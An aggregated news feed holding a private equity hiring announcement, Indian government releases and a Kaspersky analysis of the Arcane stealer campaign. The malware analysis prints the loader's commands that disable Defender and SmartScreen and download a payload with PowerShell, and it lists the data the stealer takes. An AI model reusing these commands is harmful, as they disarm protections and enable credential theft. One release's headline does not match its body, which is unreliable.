    Source: GlobeNewswire (MIL-OSI)

    GRAND RAPIDS, Mich., March 19, 2025 (GLOBE NEWSWIRE) — Blackford Capital (“Blackford”), a leading private equity firm focused on investing in lower middle-market businesses, is pleased to announce the appointment of Rick Lopez as Managing Director. With over 25 years of experience in finance, investment banking, and private equity investing, Rick brings a wealth of expertise to the firm.

    In his new role, Rick will primarily oversee Blackford Capital’s fundraising efforts, while also contributing to transaction sourcing, investment analysis, portfolio construction and management, deal financing, and internal operations. He will be based in the firm’s Chicago office.

    “We are thrilled to welcome Rick to the Blackford Capital team,” said Martin Stein, Founder and Managing Director of Blackford Capital. “Rick’s extensive background in capital raising, deal structuring, and his deep understanding of both investment banking and private equity make him an ideal fit to help guide the firm through its next phase of growth.”

    Prior to joining Blackford Capital, Rick was a Partner and Co-Founder at Rush Street Capital, a middle-market investment bank specializing in capital raising for private equity firms and their portfolio companies. In this capacity, he led the capital markets group and was responsible for deal sourcing, execution, sponsor and capital provider relationship management, and deal structuring and negotiation. Rick co-managed six deal professionals and over a dozen interns in his time at Rush Street. Additionally, Rick worked closely with Rush Street’s investment arm assisting with deal sourcing, fundraising, diligence, the closing process, portfolio management, and served on the boards of the two portfolio companies. While at Rush Street Capital, Rick was involved with 93 total successful middle market raises totaling over $1.4 billion in capital commitments.

    Jeff Johnson, Managing Director of Blackford Capital, noted that, “Rick’s direct working experience with our team and our portfolio gives him a level of familiarity with Blackford Capital that has allowed him to be extremely effective since joining us.” Rick assisted Blackford Capital as an advisor while at Rush Street between 2016 and 2024. During that period, Rick successfully completed 18 different mandates for Blackford Capital raising over $367 million in capital. Rick completed raises for six of Blackford Capital’s current seven portfolio companies, including the initial platform investments for Helio Outdoors, Outova, PACIV, Security Fire Systems, and Design Environments. Rick also assisted with capital raises for key add-on acquisitions, such as Empire Distributing for Outova and Mortech Manufacturing for the recently exited Mopec investment.

    Rick’s extensive career also includes over 15 years at major financial institutions, including Chase Bank, LaSalle Bank, BMO, and Huntington Bank, where he gained valuable experience in retail banking and corporate bond units as well as commercial lending.

    Beyond his professional accomplishments, Rick is an active member of the business community, serving on several boards. He is also a board member and treasurer of the Kellogg Alumni Club of Chicago-Western Suburbs and actively participates in ACG Chicago’s Private Equity and M&A Committee.

    Rick earned his bachelor’s degree in business management from the University of Illinois at Chicago and his MBA from Northwestern University’s Kellogg School of Management. Outside of work, Rick enjoys family time, early morning F3 Naperville bootcamps, and spending time at Wrigley Field.

    “I am excited to join Blackford Capital and look forward to working with the team to help drive the firm’s mission of creating value for our investors and portfolio companies,” said Rick Lopez. “The firm’s strong track record and commitment to supporting industrial businesses in the lower middle-market space present great opportunities for growth, and I am eager to contribute to its continued success and lead our Chicago office.”

    About Blackford Capital
    Founded in 2010, Blackford Capital is a private equity investment firm headquartered in Grand Rapids, Michigan. Blackford acquires, manages, and builds founder and family-owned, lower middle-market companies, with a focus on the manufacturing, industrial and distribution industries. Blackford has a track record of exceptional returns, a disciplined and relentless approach to value creation, and a focus on operational excellence and a compelling culture. In 2023 and 2024, Blackford Capital was named to Inc’s list of Founder-Friendly Investors, was recognized by ACG Detroit with the 2023 M&A Dealmaker of the Year Award and awarded the 2023 Small Markets Deal of the Year award by both Buyouts Magazine and the Global M&A Network Atlas Awards. For more information, visit www.blackfordcapital.com.

    Media Contact:
    Lambert by LLYC
    Jennifer Hurson
    (845) 729-3100
    jhurson@lambert.com

    Jackson Lin
    (646) 717-4593
    jlin@lambert.com

    A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/1ba3b42a-a7d3-4c04-b62c-c1101dae6ee8

    The MIL Network –

    March 20, 2025
  • MIL-OSI Banking: Arcane stealer: We want all your data

    Source: Securelist – Kaspersky

    Headline: Arcane stealer: We want all your data

    At the end of 2024, we discovered a new stealer distributed via YouTube videos promoting game cheats. What’s intriguing about this malware is how much it collects. It grabs account information from VPN and gaming clients, and all kinds of network utilities like ngrok, Playit, Cyberduck, FileZilla and DynDNS. The stealer was named Arcane, not to be confused with the well-known Arcane Stealer V. The malicious actor behind Arcane went on to release a similarly named loader, which supposedly downloads cheats and cracks, but in reality delivers malware to the victim’s device.

    Distribution

    The campaign in which we discovered the new stealer was already active before Arcane appeared. The original distribution method started with YouTube videos promoting game cheats. The videos were frequently accompanied by a link to an archive and a password to unlock it. Upon unpacking the archive, the user would invariably discover a start.bat batch file in the root folder and the UnRAR.exe utility in one of the subfolders.

    Archive root

    Contents of the “natives” subfolder

    The contents of the batch file were obfuscated. Its only purpose was to download another password-protected archive via PowerShell, and unpack that with UnRAR.exe with the password embedded in the BATCH file as an argument.

    Contents of the obfuscated start.bat file

    Following that, start.bat would use PowerShell to launch the executable files from the archive. While doing so, it added every drive root folder to SmartScreen filter exceptions. It then reset the EnableWebContentEvaluation and SmartScreenEnabled registry keys via the system console utility reg.exe to disable SmartScreen altogether.

    powershell  –Command “Get-PSDrive -PSProvider FileSystem | ForEach-Object {Add-MpPreference -ExclusionPath $_.Root}”

    reg  add “HKCUSoftwareMicrosoftWindowsCurrentVersionAppHost” /v “EnableWebContentEvaluation” /t REG_DWORD /d 0 /f

    reg  add “HKCUSoftwareMicrosoftWindowsCurrentVersionExplorer” /v “SmartScreenEnabled” /t REG_SZ /d “Off” /f

    powershell –Command “(New-Object Net.WebClient).DownloadString(‘https://pastebin.com/raw/‘)”

    powershell  –Command “(New-Object Net.WebClient).DownloadFile(‘https://www.dropbox.com/scl/fi//black.rar?rlkey=&st=&dl=1′, ‘C:UsersAppDataLocalTempblack.rar’)”

    Key commands run by start.bat

    The archive would always contain two executables: a miner and a stealer.

    Contents of the downloaded archive

    The stealer was a Phemedrone Trojan variant, rebranded by the attackers as “VGS”. They used this name in the logo, which, when generating stealer activity reports, is written to the beginning of the file along with the date and time of the report’s creation.

    Phemedrone and VGS logos

    Original distribution scheme

    Arcane replaces VGS

    At the end of 2024, we discovered a new Arcane stealer distributed as part of the same campaign. It is worth noting that a stealer with a similar name has been encountered before: a Trojan named “Arcane Stealer V” was offered on the dark web in 2019, but it shares little with our find. The new stealer takes its name from the ASCII art in the code.

    Arcane logo

    Arcane succeeded VGS in November. Although much of it was borrowed from other stealers, we could not attribute it to any of the known families.

    Arcane gets regular updates, so its code and capabilities change from version to version. We will describe the common functionality present in various modifications and builds. In addition to logins, passwords, credit card data, tokens and other credentials from various Chromium and Gecko-based browsers, Arcane steals configuration files, settings and account information from the following applications:

    • VPN clients: OpenVPN, Mullvad, NordVPN, IPVanish, Surfshark, Proton, hidemy.name, PIA, CyberGhost, ExpressVPN
    • Network clients and utilities: ngrok, Playit, Cyberduck, FileZilla, DynDNS
    • Messaging apps: ICQ, Tox, Skype, Pidgin, Signal, Element, Discord, Telegram, Jabber, Viber
    • Email clients: Outlook
    • Gaming clients and services: Riot Client, Epic, Steam, Ubisoft Connect (ex-Uplay), Roblox, Battle.net, various Minecraft clients
    • Crypto wallets: Zcash, Armory, Bytecoin, Jaxx, Exodus, Ethereum, Electrum, Atomic, Guarda, Coinomi

    In addition, the stealer collects all kinds of system information, such as the OS version and installation date, digital key for system activation and license verification, username and computer name, location, information about the CPU, memory, graphics card, drives, network and USB devices, and installed antimalware and browsers. Arcane also takes screenshots of the infected device, obtains lists of running processes and Wi-Fi networks saved in the OS, and retrieves the passwords for those networks.

    Arcane’s functionality for stealing data from browsers warrants special attention. Most browsers generate unique keys for encrypting sensitive data they store, such as logins, passwords, cookies, etc. Arcane uses the Data Protection API (DPAPI) to obtain these keys, which is typical of stealers. But Arcane also contains an executable file of the Xaitax utility, which it uses to crack browser keys. To do this, the utility is dropped to disk and launched covertly, and the stealer obtains all the keys it needs from its console output.

    The stealer implements an additional method for extracting cookies from Chromium-based browsers through a debug port. The Trojan secretly launches a copy of the browser with the “remote-debugging-port” argument, then connects to the debug port, issues commands to visit several sites, and requests their cookies. The list of resources it visits is provided below.

    • https://gmail.com,
    • https://drive.google.com,
    • https://photos.google.com,
    • https://mail.ru,
    • https://rambler.ru,
    • https://steamcommunity.com,
    • https://youtube.com,
    • https://avito.ru,
    • https://ozon.ru,
    • https://twitter.com,
    • https://roblox.com,
    • https://passport.yandex.ru

    ArcanaLoader

    Within a few months of discovering the stealer, we noticed a new distribution pattern. Rather than promoting cheats, the threat actors shifted to advertising ArcanaLoader on their YouTube channels. This is a loader with a graphical user interface for downloading and running the most popular cracks, cheats and other similar software. More often than not, the links in the videos led to an executable file that downloaded an archive with ArcanaLoader.

    ArcanaLoader

    See translation
    Читы Cheats
    Настройки Settings
    Клиенты с читами Clients with cheats
    Все версии All versions
    Введите название чита Enter cheat name
    Версия: 1.16.5 Version: 1.16.5
    Запустить Start
    Версия: Все Версии Version: All versions

    The loader itself included a link to the developers’ Discord server, which featured channels for news, support and links to download new versions.

    Discord server invitation

    See translation

    You have been invited to Arcana Loader
    548 online
    3,156 users
    Accept invitation

    At the same time, one of the Discord channels posted an ad, looking for bloggers to promote ArcanaLoader.

    Looking for bloggers to spread the loader

    See translation

    ArcanaLoader BOT
    Form:
    1. Total subscribers
    2. Average views per week
    3. Link to ArcanaLoader video
    4. Screenshot proof of channel ownership
    YOUTUBE
    Criteria:
    1. 600* subscribers
    2. 1,500+ views
    3. Links to 2 Arcana Loader videos
    Permissions:
    1. Send your videos to the #MEDIA chat
    2. Personal server role
    3. Add cheat to loader without delay
    4. Access to @everyone in the #MEDIA chat
    5. Possible compensation in rubles for high traffic
    MEDIA
    Criteria:
    1. 50+ subscribers
    2. 150+ views
    3. Link to 1 ArcanaLoader video
    Permissions:
    1. Send your videos to the #MEDIA chat
    2. Personal server role

    Sadly, the main ArcanaLoader executable contained the aforementioned Arcane stealer.

    Victims

    All conversations on the Discord server are in Russian, the language used in the news channels and YouTube videos. Apparently, the attackers target a Russian-speaking audience. Our telemetry confirms this assumption: most of the attacked users were in Russia, Belarus and Kazakhstan.

    Takeaways

    Attackers have been using cheats and cracks as a popular trick to spread all sorts of malware for years, and they’ll probably keep doing so. What’s interesting about this particular campaign is that it illustrates how flexible cybercriminals are, always updating their tools and the methods of distributing them. Besides, the Arcane stealer itself is fascinating because of all the different data it collects and the tricks it uses to extract the information the attackers want. To stay safe from these threats, we suggest being wary of ads for shady software like cheats and cracks, avoiding links from unfamiliar bloggers, and using strong security software to detect and disarm rapidly evolving malware.

    MIL OSI Global Banks –

    March 20, 2025
  • MIL-OSI Asia-Pac: PARLIAMENT QUESTION: ISROs PROGRAMMES FOR STUDENTS

    Source: Government of India (2)

    Posted On: 19 MAR 2025 4:06PM by PIB Delhi

    The Union Cabinet chaired by the Prime Minister Shri Narendra Modi today approved the ‘Incentive Scheme for promotion of low-value BHIM-UPI transactions Person to Merchant (P2M)’ for the financial year 2024-25 in the following manner:

                 i.        The incentive scheme for promotion of low-value BHIM-UPI transactions (P2M) will be implemented at an estimated outlay of 1,500 crore, from 01.04.2024 to 31.03.2025.

                ii.        Only the UPI (P2M) transactions upto 2,000/- for Small Merchants are covered under the scheme.

     

    Category

    Small Merchant

    Large Merchant

    Up to Rs. 2k

    Zero MDR / Incentive (@0.15%)

    Zero MDR / No Incentive

    Over Rs. 2k

    Zero MDR / No Incentive

    Zero MDR / No Incentive

     

               iii.        Incentive at the rate of 0.15% per transaction value will be provided for transactions upto Rs.2,000 pertaining to category of small merchants.

              iv.        For all the quarters of the scheme, 80% of the admitted claim amount by the acquiring banks will be disbursed without any conditions.

                v.        The reimbursement of the remaining 20% of the admitted claim amount for each quarter will be contingent upon fulfilment of the following conditions:

    a)    10% of the admitted claim will be provided only when the technical decline of the acquiring bank will be less than 0.75%; and

    b)    The remaining 10% of the admitted claim will be provided only when the system uptime of the acquiring bank will be greater than 99.5%.

     

    Benefits:

    i.      Convenient, secure, faster cash flow, and enhanced access to credit through digital footprints.

    ii.     Common citizens will benefit from seamless payment facilities with no additional charges.

    iii.    Enable small merchants to avail of UPI services at no additional cost. As small merchants are price-sensitive, incentives would encourage them to accept UPI payment.

    iv.    Supports the Government’s vision of a less-cash economy through formalizing and accounting the transaction in digital form.

    v.     Efficiency gain- 20% incentive is contingent upon banks maintaining high system uptime and low technical decline. This will ensure round-the-clock availability of payment services to citizens.

    vi.    Judicious balance of both the growth of UPI transactions and the minimum financial burden on the Government exchequer.

     

    Objective:

    ·        Promotion of indigenous BHIM-UPI platform. Achieving the target of 20,000 crore total transaction volume in FY 2024-25.

    ·        Supporting the payment system participants in building a robust and secure digital payments infrastructure.

    ·        Penetration of UPI in tier 3 to 6 cities, especially in rural & remote areas by promoting innovative products such as feature phone based (UPI 123PAY) & offline (UPI Lite/UPI LiteX) payment solutions.

    ·     Maintain a high system uptime & minimize technical declines.

    Background:

    Promotion of digital payments is an integral part of the Government’s strategy for financial inclusion and provide wide-ranging payment options to the common man. The expenditure incurred by the digital payment industry while providing services to its customers / merchant is recovered through the charge of Merchant Discount Rate (MDR).

    As per RBI, MDR upto 0.90% of transaction value is applicable across all card networks. (for Debit cards). As per NPCI, MDR upto 0.30% of transaction value is applicable for UPI P2M transaction. Since January 2020, to promote digital transactions, MDR was made zero for RuPay Debit Cards and BHIM-UPI transactions through amendments in section 10A in the Payments and Settlement Systems Act, 2007 and section 269SU of the Income-tax Act, 1961.

    In order to support the payment ecosystem participants in effective delivery of services, “Incentive scheme for promotion of RuPay Debit Cards and low-value BHIM-UPI transactions (P2M)” has been implemented with due approval by the Cabinet. Year-wise incentive payout by the Government (in Rs. crore) during the last three financial years:

    Financial Year

    Gol Payout

    RuPay Debit Card

    BHIM-UPI

    FY2021-22

    1,389

    432

    957

    FY2022-23

    2,210

    408

    1,802

    FY2023-24

    3,631

    363

    3,268

    The incentive is paid by the Government to the Acquiring bank (Merchant’s bank) and  thereafter shared among other stakeholders: Issuer Bank (Customer’s Bank), Payment Service Provider Bank (facilitates onboarding of customer on UPI app / API integrations) and App Providers (TPAPs).

    *****

    MJPS/BM

    (Release ID: 2112772) Visitor Counter : 6

    MIL OSI Asia Pacific News –

    March 20, 2025
  • MIL-OSI Asia-Pac: Cabinet approves Incentive scheme for promotion of low-value BHIM-UPI transactions (P2M)

    Source: Government of India (2)

    Posted On: 19 MAR 2025 4:05PM by PIB Delhi

    The Union Cabinet chaired by the Prime Minister Shri Narendra Modi today approved the ‘Incentive Scheme for promotion of low-value BHIM-UPI transactions Person to Merchant (P2M)’ for the financial year 2024-25 in the following manner:

                 i.        The incentive scheme for promotion of low-value BHIM-UPI transactions (P2M) will be implemented at an estimated outlay of 1,500 crore, from 01.04.2024 to 31.03.2025.

                ii.        Only the UPI (P2M) transactions upto 2,000/- for Small Merchants are covered under the scheme.

     

    Category

    Small Merchant

    Large Merchant

    Up to Rs. 2k

    Zero MDR / Incentive (@0.15%)

    Zero MDR / No Incentive

    Over Rs. 2k

    Zero MDR / No Incentive

    Zero MDR / No Incentive

     

               iii.        Incentive at the rate of 0.15% per transaction value will be provided for transactions upto Rs.2,000 pertaining to category of small merchants.

              iv.        For all the quarters of the scheme, 80% of the admitted claim amount by the acquiring banks will be disbursed without any conditions.

                v.        The reimbursement of the remaining 20% of the admitted claim amount for each quarter will be contingent upon fulfilment of the following conditions:

    a)    10% of the admitted claim will be provided only when the technical decline of the acquiring bank will be less than 0.75%; and

    b)    The remaining 10% of the admitted claim will be provided only when the system uptime of the acquiring bank will be greater than 99.5%.

     

    Benefits:

    i.      Convenient, secure, faster cash flow, and enhanced access to credit through digital footprints.

    ii.     Common citizens will benefit from seamless payment facilities with no additional charges.

    iii.    Enable small merchants to avail of UPI services at no additional cost. As small merchants are price-sensitive, incentives would encourage them to accept UPI payment.

    iv.    Supports the Government’s vision of a less-cash economy through formalizing and accounting the transaction in digital form.

    v.     Efficiency gain- 20% incentive is contingent upon banks maintaining high system uptime and low technical decline. This will ensure round-the-clock availability of payment services to citizens.

    vi.    Judicious balance of both the growth of UPI transactions and the minimum financial burden on the Government exchequer.

     

    Objective:

    ·        Promotion of indigenous BHIM-UPI platform. Achieving the target of 20,000 crore total transaction volume in FY 2024-25.

    ·        Supporting the payment system participants in building a robust and secure digital payments infrastructure.

    ·        Penetration of UPI in tier 3 to 6 cities, especially in rural & remote areas by promoting innovative products such as feature phone based (UPI 123PAY) & offline (UPI Lite/UPI LiteX) payment solutions.

    ·     Maintain a high system uptime & minimize technical declines.

    Background:

    Promotion of digital payments is an integral part of the Government’s strategy for financial inclusion and provide wide-ranging payment options to the common man. The expenditure incurred by the digital payment industry while providing services to its customers / merchant is recovered through the charge of Merchant Discount Rate (MDR).

    As per RBI, MDR upto 0.90% of transaction value is applicable across all card networks. (for Debit cards). As per NPCI, MDR upto 0.30% of transaction value is applicable for UPI P2M transaction. Since January 2020, to promote digital transactions, MDR was made zero for RuPay Debit Cards and BHIM-UPI transactions through amendments in section 10A in the Payments and Settlement Systems Act, 2007 and section 269SU of the Income-tax Act, 1961.

    In order to support the payment ecosystem participants in effective delivery of services, “Incentive scheme for promotion of RuPay Debit Cards and low-value BHIM-UPI transactions (P2M)” has been implemented with due approval by the Cabinet. Year-wise incentive payout by the Government (in Rs. crore) during the last three financial years:

    Financial Year

    Gol Payout

    RuPay Debit Card

    BHIM-UPI

    FY2021-22

    1,389

    432

    957

    FY2022-23

    2,210

    408

    1,802

    FY2023-24

    3,631

    363

    3,268

    The incentive is paid by the Government to the Acquiring bank (Merchant’s bank) and  thereafter shared among other stakeholders: Issuer Bank (Customer’s Bank), Payment Service Provider Bank (facilitates onboarding of customer on UPI app / API integrations) and App Providers (TPAPs).

    *****

    MJPS/BM

    (Release ID: 2112771) Visitor Counter : 17

    MIL OSI Asia Pacific News –

    March 20, 2025
  • MIL-OSI Asia-Pac: Government steps to increase 5G connectivity in the country

    Source: Government of India

    Posted On: 19 MAR 2025 3:26PM by PIB Delhi

    Government of India has undertaken following projects, with funding from Digital Bharat Nidhi (DBN), to increase telecommunication connectivity in remote areas :-

    1. Comprehensive Telecom Development Plan (CTDP) for mobile connectivity in the North Eastern Region, Andaman & Nicobar islands and Lakshadweep islands with projects costing over ₹4,050 crore.

    2. Scheme for providing mobile services in Left Wing Extremism (LWE) affected areas and Aspirational Districts with projects costing over ₹13,179 crore.

    3. 4G Saturation Project for providing 4G mobile services in uncovered villages with projects costing over ₹26,300 crore.

    4. Amended BharatNet project to provide broadband connectivity to the Gram Panchayats (GPs) and villages.

     

    The Government has taken several steps to increase 5G connectivity in the country, including in remote and tribal areas. These initiatives are listed as below:-

    i.          Auction of spectrum for 5G mobile services.

    ii.         Financial reforms to rationalize Adjusted Gross Revenue (AGR), Bank Guarantees (BGs) and interest rates.

    iii.        Removal of Spectrum Usage Charges for spectrum acquired in auction of 2022 and thereafter.

    iv.        Simplification of procedure for SACFA (Standing Advisory Committee on Radio Frequency Allocations) clearance.

    v.         Launch of PM GatiShakti Sanchar portal and RoW (Right of Way) Rules to streamline RoW permissions and clearance of installation of telecom infrastructure.

    vi.        Time-bound permission for use of street furniture for installation of small cells and telecommunication line.

     

    Since its launch in October 2022, 4.69 lakhs 5G Base Transceiver Stations (BTSs) have been installed across the country which is one of the fastest roll out of 5G mobile services in the world. At present, 5G mobile services are available in 99.6% of the districts in the country. Further, 2.95 lakh 5G BTSs have been set up in the last financial year (2023-24).

    This information was given by the Minister of State for Communications and Rural Development, Dr. Pemmasani Chandra Sekhar in a written reply to a question in Lok Sabha today.

    *****

    Samrat/Allen

     

    (Release ID: 2112741) Visitor Counter : 87

    MIL OSI Asia Pacific News –

    March 20, 2025
  • MIL-OSI Asia-Pac: ULIP Surpasses 100 Crore API Transactions: Enabling Seamless, Smart, and Sustainable Logistics

    Source: Government of India (2)

    ULIP Surpasses 100 Crore API Transactions: Enabling Seamless, Smart, and Sustainable Logistics

    From Data to Decisions, ULIP is Driving Ease of Doing Business in India: Union Commerce and Industry Minister Shri Piyush Goyal

    Posted On: 19 MAR 2025 3:05PM by PIB Delhi

    Unified Logistics Interface Platform (ULIP) has reached a significant milestone, recording 100 crore API transactions, reinforcing its role as a game-changer in India’s logistics sector. This achievement marks a significant step toward building a world-class, technology-driven logistics ecosystem that fuels industrial growth under Make in India and accelerates the vision of Viksit Bharat 2047.

    The Union Minister of Commerce & Industry Shri Piyush Goyal, commended the achievement, stating, “ULIP’s success wouldn’t have been possible without the collaborative efforts of our users, logistics stakeholders and govt. departments who are leveraging API integrations to create impactful solutions. This milestone brings to life our Prime Minister’s vision of a seamless logistics ecosystem that strengthens Ease of Doing Business and positions Bharat as a global trade and manufacturing powerhouse. We remain committed to expanding ULIP’s capabilities, making Indian logistics more agile, resilient, and globally competitive.”

    By bridging critical data gaps, ULIP enables automation, real-time cargo tracking, and streamlined regulatory compliance, benefiting businesses across industries. Processing an average of 1 crore API transactions weekly, ULIP continues to drive widespread adoption and democratizes access to logistics data, ensuring equal opportunities for businesses of all sizes. This digital disruption is reshaping the competitive landscape, breaking monopolistic control, and empowering MSMEs, start-ups, and large enterprises alike.

    ULIP has also significantly impacted the manufacturing sector with companies such as Prism Johnson, Asian Paints, and Tata Steel leveraging its APIs to streamline transporter verification, automate processes, and strengthen supply chains.

    Meanwhile, ULIP’s multi-modal APIs across road, rail, ocean, and air provide real-time shipment ETAs, ensuring just-in time inventory management and cost savings for manufacturers.

    Beyond logistics, ULIP is accelerating sustainability efforts, helping businesses like Century Plywoods and TCIL choose greener transport options, cut emissions, and align with India’s carbon reduction goals.

    Transporters and logistics service providers—including Cuttack Carriers, Road Pilot, and Intugine—are enabling digital documentation, automated gate processes, and seamless freight movement, reducing delays and congestion at hubs.

    Alongside private sector players, state and central government departments are leveraging the digital gateway for data-driven decision-making.

    ULIP is not just modernizing logistics, it is revolutionizing how goods move, businesses operate, and industries thrive in a digitally connected world. With greater visibility and smarter decision-making, the platform is playing a vital role in building a self-reliant India.

    Launched by Prime Minister Shri Narendra Modi under the National Logistics Policy (NLP) on 17th September 2022, to create an integrated, efficient, and technology-driven logistics sector. Since its inception, the platform has been actively driving this vision forward and connects 43 systems from 11 ministries through 129 APIs, covering more than 1,800 data fields, enabling comprehensive data access for stakeholders. With over 1,300 registered companies, 350+ agreements signed, and 100 crore+ API transactions processed, ULIP has emerged as a powerful tool for driving operational efficiency, and innovation in India’s logistics sector.

    About NLDSL:

    NICDC Logistics Data Services Ltd. (NLDSL) has been at the forefront of transforming India’s logistics sector through its innovative solutions like Logistics Data Bank (LDB) and ULIP. By leveraging advanced technology, NLDSL has enhanced efficiency, transparency, and digitization within the industry.

    The company was established on December 30, 2015, with the primary objective of harnessing Information and Communication Technology (ICT) to enhance efficiency in the Indian logistics sector. It is a joint venture between the Government of India represented by National Industrial Corridor Development and Implementation Trust (NICDIT) and Japanese IT major NEC Corporation.

    ***

    Abhishek Dayal/Abhijith Narayanan

     

    (Release ID: 2112727) Visitor Counter : 10

    MIL OSI Asia Pacific News –

    March 20, 2025
  • MIL-OSI Asia-Pac: Facilities to Local People by South Eastern Coalfields Limited

    Source: Government of India (2)

    Posted On: 19 MAR 2025 2:59PM by PIB Delhi

    The facilities provided by South Eastern Coalfields Limited (SECL) under CSR through various CSR activities are related to different themes viz. Healthcare, Education, Water Supply, Rural Development, etc., primarily for development of local populace residing within 25 KMs from SECL project sites/ mines/ Area HQ/ Company HQ and also for people residing in the operating state of SECL i.e. Chhattisgarh and Madhya Pradesh. Moreover, SECL also provides a wide range facilities to the local populace by providing safe & free drinking water, better roads, organising periodical medical check-up camps/eye camps in affected and nearby villages, free OPD facilities in the dispensary / hospitals of the Company and vocational training to landless people displaced by the project.

    Further, SECL also provides facilities at the various R&R sites such as buildings for primary schools, shopping centres, buildings for community centres, buildings for health centres, wells, hand pumps, approach roads, Electric poles and electric wires and playgrounds as per the Act/Policy.

    Further, SECL has a range of welfare initiatives in place for its employees/workers. These initiatives focus on improving the well-being, safety, and quality of life for human capital. The key welfare measures by SECL to its workers are:

    1. Health and Medical Facilities

    • Healthcare Centres: SECL runs a number of health centres and dispensaries across its mining areas, providing primary and emergency medical care to employees and their families. The central Hospitals at Area provide emergency medical services and inpatient treatment to employees and their families.
    • Free Medical Services: Employees and their dependents are offered free medical treatment, including in-house medical care and the provisions of treatment at empanelled hospitals.
    • Medical Camps: Periodic health check-up camps are organized to monitor the health status of workers, especially in areas like respiratory health, which is critical for mining personnel

    2. Housing and Accommodation

    • Residential Quarters: SECL provides residential facilities to its employees, especially in mining regions where housing is a critical concern. These quarters are maintained and offer basic amenities.
    • Family Welfare: Efforts are made to ensure that the families of employees have access to amenities like clean drinking water, electricity and sanitation.

    3. Education and Skill Development

    • Schools for Children: SECL runs schools in its mining areas, providing education to the children of employees.
    • Scholarships and reimbursement of Tuition Fee: Scholarships are provided to the children of employees who excel in their academic pursuits. There are provisions of reimbursement of tuition fee of the dependents of employee for engineering and medical education au government institutes.
    • Skill Development Programs: SECL organizes various training and development programs to upskill its employees, improving their employability and career growth opportunities.

    4. Retirement Benefits

    • Pension and Gratuity: SECL offers comprehensive retirement benefits, including Coal Mines Pension Scheme, Gratuity, and Coal Mines Provident Fund (CMPF) to its employees.
    • Post-Retirement Welfare: SECL has welfare schemes in place for retired employees, offering post-retirement medical benefits and other postretirement support services.

    5. Financial Assistance and Loans

    • Housing Loans/ Car Loan: SECL provides employees with low-interest loans to construct or purchase houses and/or car.

    6. Cultural and Recreational Activities

    • Sports and Recreation: SECL encourages employees to participate in sports and cultural activities. The company organizes sports events, cultural festivals, and competitions for both employees and their families.
    • Clubs and Societies: Employees and their families can engage themselves in social and recreational clubs within the company, helping foster a healthy work-life balance.

    7. Women’s Welfare

    • SECL ensures equal opportunities for women in its workforce, with policies in place to prevent discrimination and promote gender equality.
    • Women employees are also provided with maternity leave, childcare facilities, creche at workplace and other benefits to balance work and family responsibilities.

    Further, the facilities provided to Contractors’ Workers in SECL are as follows:

    • First Aid facility in Mines Premises.
    • Medical OPD and indoor facility in company hospital are being provided to contractor workers on producing I/Card.
    • Drinking Water and sanitary facilities.
    • Personal Protection/ Safety Equipment as per terms of contract
    • Ambulance facility.
    • Canteen and Creche facility.
    • Group Personal Accident Insurance as per terms of contract.
    • Corporate salary package with Eight Nationalized Banks viz SBI, PNB, BOB, UCO Bank, BOI, Indian bank, UBI. The aforesaid Banks are also providing personal accidental insurance coverage of Rs. 40 Lakhs in case of death or for permanent total disability and other facilities as per MoU signed between Coal India Ltd and different banks.
    • Social Security as per statute, including ex-gratia of Rs 15 lakh to the next of kin of contractor worker in case of mine accident and even during Covid -19, similar amount was also paid to the next kin of contractor workers of SECL who died due to COVID-19.
    • The contractor workers are also covered under CMPF/EPF & Employees Compensation ACT. In addition, contractor workers are paid minimum Wages (Central) engaged in non- mining activities and in case of contractor workers engaged in mining activities are being paid wages as per High Power Committee of CIL. (HPC Wages are midway between wages prescribed by Central Government under the Minimum Wages Act 1948 for the workers employed in the scheduled employment for non- coal mines and the wages payable to the lowest category of regular workers i.e Cat-I of NCWA-XI for CIL and SCCL.)
    • Education facility to the children of Contractor workers in project school of SECL is also being provided.

    Various development works done in the concerned districts of Chhattisgarh by SECL during last five years (year-wise) and the current year i.e. 2024-25, under Corporate Social Responsibility (CSR) head (Sector-wise) is detailed hereunder:

    (Rs. in Crore)

    Financial Year

    Healthcare

    Education

    Water

    Supply

    Environmental Sustainability

    Rural

    Development

    Others

    Total

    2019-20

    18.50

    0.91

    0.69

    5.62

    1.94

    56.99

    84.65

    2020-21

    26.44

    4.74

    0.24

    0.11

    2.24

    4.56

    38.33

    2021-22

    45.55

    15.32

    0.00

    4.36

    5.14

    9.45

    79.82

    2022-23

    35.72

    12.77

    0.00

    0.42

    2.48

    7.89

    59.28

    2023-24

    32.07

    7.25

    0.00

    0.24

    6.54

    6.97

    53.07

    2024-25(Current)

    13.40

    5.12

    0.00

    1.09

    4.25

    1.49

    25.35

    Total

    171.68

    46.11

    0.93

    11.84

    22.59

    87.35

    340.50

     

    District wise CSR expenditure of SECL in Chhattisgarh State is detailed below:

                                                                                                                                 (Rs. in Crore)

    Name of District in Chhattisgarh

    2019-20

    2020-21

    2021-22

    2022-23

    2023-24

    2024-25

    Grand Total

     

     
       

    Balrampur

    0.42

     

     

    0.11

     

    0.92

    1.45

       

    Balrampur-Ramanujganj

     

     

    3.52

     

     

     

    3.52

       

    Bastar

     

     

    0.21

     

    0.04

     

    0.24

       

    Bilaspur

    21.65

    11.45

    10.32

    0.96

    1.98

    4.18

    50.54

       

    Gaurella-Pendra-Marwahi

     

     

    0.2

     

     

     

    0.2

       

    Janjgir-Champa

     

     

    0.25

     

     

     

    0.25

       

    Korba

    0.99

    4.51

    7

    5.41

    11.74

    8.99

    38.64

       

    Koriya

    0.12

    0.01

    0.32

    0.06

    3.69

     

    4.2

       

    Raigarh

    0.36

    1.36

    7.25

    5.96

    1.67

    3.86

    20.47

       

    Raipur

    0.02

    0.27

    0.31

    2.83

    6.31

    0.69

    10.42

       

    Surajpur

    1.15

    1.11

    0.89

    0.73

    0.66

     

    4.53

       

    Surguja

     

    2.93

    1.6

    0.18

    0.6

    0.59

    5.91

       

    Other districts of Chhattisgarh

    58.49

    12.88

    10.88

    25.52

    9.29

    2.13

    119.19

       

    Administrative Expenditure in CG

    0.49

    3.33

    2.33

    2.73

    3.02

     

    11.9

       

    Grand Total

    83.69

    37.86

    45.07

    44.49

    39

    21.35

    271.46

       

    Overall, SECL’s CSR expenditure reflects a strategic shift towards targeted investments, adapting to evolving community needs while maintaining a strong focus on improving health, education, environmental sustainability, rural development projects etc.

    The details of the development works done under other heads in various districts of Chhattisgarh during each of the last five years and the current year is as under:

    • Providing filtered Mine water in various villages.
    • Construction of Community/ Multipurpose Hall.
    • Modification of existing Stadiums.
    • Construction of Boundary Wall of Schools/Townships, etc.
    • Construction of Sewerage Treatment Plants
    • Construction of Approach Road/Village Road, etc.
